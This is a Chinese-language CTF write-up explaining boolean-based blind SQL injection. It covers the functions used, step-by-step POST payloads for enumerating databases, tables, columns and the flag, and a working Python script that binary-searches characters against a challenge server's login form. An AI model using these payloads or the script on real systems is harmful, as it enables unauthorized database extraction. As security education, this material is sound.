布尔盲注基础知识
布尔盲注基础知识
布尔盲注利用前提:页面没有显示位,没有输出SQL语句执行错误,只能通过页面返回正常不正常来判断是否存在注入。
布尔盲注常用的一些函数及语句
常用函数
substr(string, a, b)
#a表示初始位置,b表示截取的个数,从1开始计数
length(string)
#返回string的长度
ascii(s)
#返回字符的ascii值
count(column_name)
#返回指定列的值的数目
limit(a, b)
#限制查询结果的返回数量,a为起始位置,从0开始,b为查询数量
相关语句
(select count(schema_name) from information_schema.schemata)>n
该语句用于判断数据库的个数,个数大于n回显正常。
(select length(schema_name) from information_schema.schemata limit a, b)>n
该语句用于判断数据库名有多少字符,字符数大于n回显正常。
(select ascii(substr(select schema_name from information_schema.schemata limit a, b), c, d))>n
该语句用于判断数据库的字符是什么,该字符的ascii值大于n时回显正常。
(length((select table_name from information_schema.tables where table_schema=database() limit a, b))=n)
该语句用于判断该数据库下的表长,表长为n时回显正常。
(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit a, b), c, d))>n)
该语句用于判断该数据库下的表名的字符是什么,字符对应的ascii值大于n时回显正常。
(length((select column_name from information_schema.columns where table_name='fllag' and table_schema=database() limit a, b))=n)
该语句用于判断该数据库下的表下的字段的长度,长度为n时回显正常。
(ascii(substr((select column_name from information_schema.columns where table_name='fllag' and table_schema=database() limit a, b), c, d))>n)
该语句用于判断该数据库下的表下的字段的字符是什么,字符对应的ascii值大于n时回显正常。
(length((select fllllllag from flag.fllag limit a, b))=n)
该语句用于判断该数据库下的表下的字段下的数据的长度,长度为n时回显正常。
(ascii(substr((select fllllllag from flag.fllag limit a, b), c, d))>n)
该语句用于判断该数据库下的表下的字段的数据对应的字符是什么,字符对应的ascii值大于n时回显正常。
一道简单例题
打开后进入一个登陆界面,尝试用万能密码绕过,弹出:
得知这是正确的回显。
随便输入一个账号密码
得知这是错误的回显。
传值的方式为post,可以构建SQL语句。
手动注入
手动注入实在是太麻烦了,还伤眼睛,我手动注入了两小时还注入错了,但是这里还是写出来。
猜库
猜库的个数
post值uname=admin&pwd=' or (select count(schema_name) from information_schema.schemata)>n#
发现当n=5时返回正常,n=6时返回错误
即有6个数据库
猜库名的长度
post值uname=admin&pwd=' or (select length(schema_name) from information_schema.schemata limit a, b)>n#
猜库名
post值uname=admin&pwd=' or (ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)), a, 1)))>n#
猜测每一位的字母是什么
然后发现有一个flag库
猜表
猜表长
post值uname=admin&pwd=' or (length((select table_name from information_schema.tables where table_schema=database() limit a, b))=n)#
猜表名
post值uname=admin&pwd=' or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit a, b), c, d))>n)#
猜测每一位的字母是什么
发现有fllag
猜字段
猜字段长
post值uname=admin&pwd=' or (length((select column_name from information_schema.columns where table_name='fllag' and table_schema=database() limit a, b))=n)#
猜字段名
post值uname=admin&pwd=' or (ascii(substr((select column_name from information_schema.columns where table_name='fllag' and table_schema=database() limit a, b), c, d))>n)#
猜数据
猜数据长
post值uname=admin&pwd=' or (length((select fllllllag from flag.fllag limit a, b))=n)#
猜数据名
post值uname=admin&pwd=' or (ascii(substr((select fllllllag from flag.fllag limit a, b), c, d))>n)#
即可获得flag。
burpsuite半自动化注入
利用burpsuite抓包后可以利用intruder模块来进行爆破,将上文的payload附在请求头后,即可利用burpsuite的爆破功能来实现自动爆破,最后可根据返回的长度来确定爆破结果(还没有尝试)
脚本盲注
在经历了两小时的折磨之后,寻找了大佬SilentE寻求帮助,他介绍了一种神奇的东西叫做脚本,由于本人对python语法基本处于一窍不通的阶段,于是恬不知耻的要求与SilentE大佬进行了某些交易,下面放出大佬的脚本
import requests
#uname:admin
Fs = "wrong"
Ts = "123456"
url = "http://47.100.242.70:4339/index.php"
def SQL_injection(url) :
res = ""
for i in range(1,2000) :
left = 32
right = 128
mid = (left + right) // 2
while (left < right) :
payload_database = "admin'^(ord(substr((select(database())),%d,1))>%d)^'1'='1" % (i, mid)
payload_all_database = "admin'^((ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1)))>%d)^'1'='1" % (i, mid)
payload_table = "admin'^((ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='babysql')),%d,1)))>%d)^'1'='1" % (i, mid)
payload_cloumn = "admin'^((ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='jeff')),%d,1)))>%d)^'1'='1" % (i, mid)
payload_info = "admin'^((ord(substr((select(group_concat(fllllllag))from(flag.fllag)),%d,1)))>%d)^'1'='1" % (i, mid)
payload = payload_cloumn
data = {"uname" : payload, "pwd" : "123456", "wp-submit" : "%E7%99%BB%E5%BD%95"}
#urls = url + payload
resp = requests.post(url = url, data = data)
if Ts in resp.text :
left = mid + 1
else :
right = mid
mid = (left + right) // 2
if (mid == 32) :
break
res += chr(mid)
print(res)
if __name__ == "__main__" :
#data = {"uname" : "admin'^(ord(substr((select(database())),1,1))=60)^'1'='1", "pwd" : "12345678", "wp-submit" : "%E7%99%BB%E5%BD%95"}
#resp = requests.post(url = url, data = data)
#print(resp.text)
SQL_injection(url)
其中的ord函数和ascii函数的本质是相同的。
参考:
https://www.cnblogs.com/linuxsec/articles/11742311.html
SilentE大佬的鼎力支持!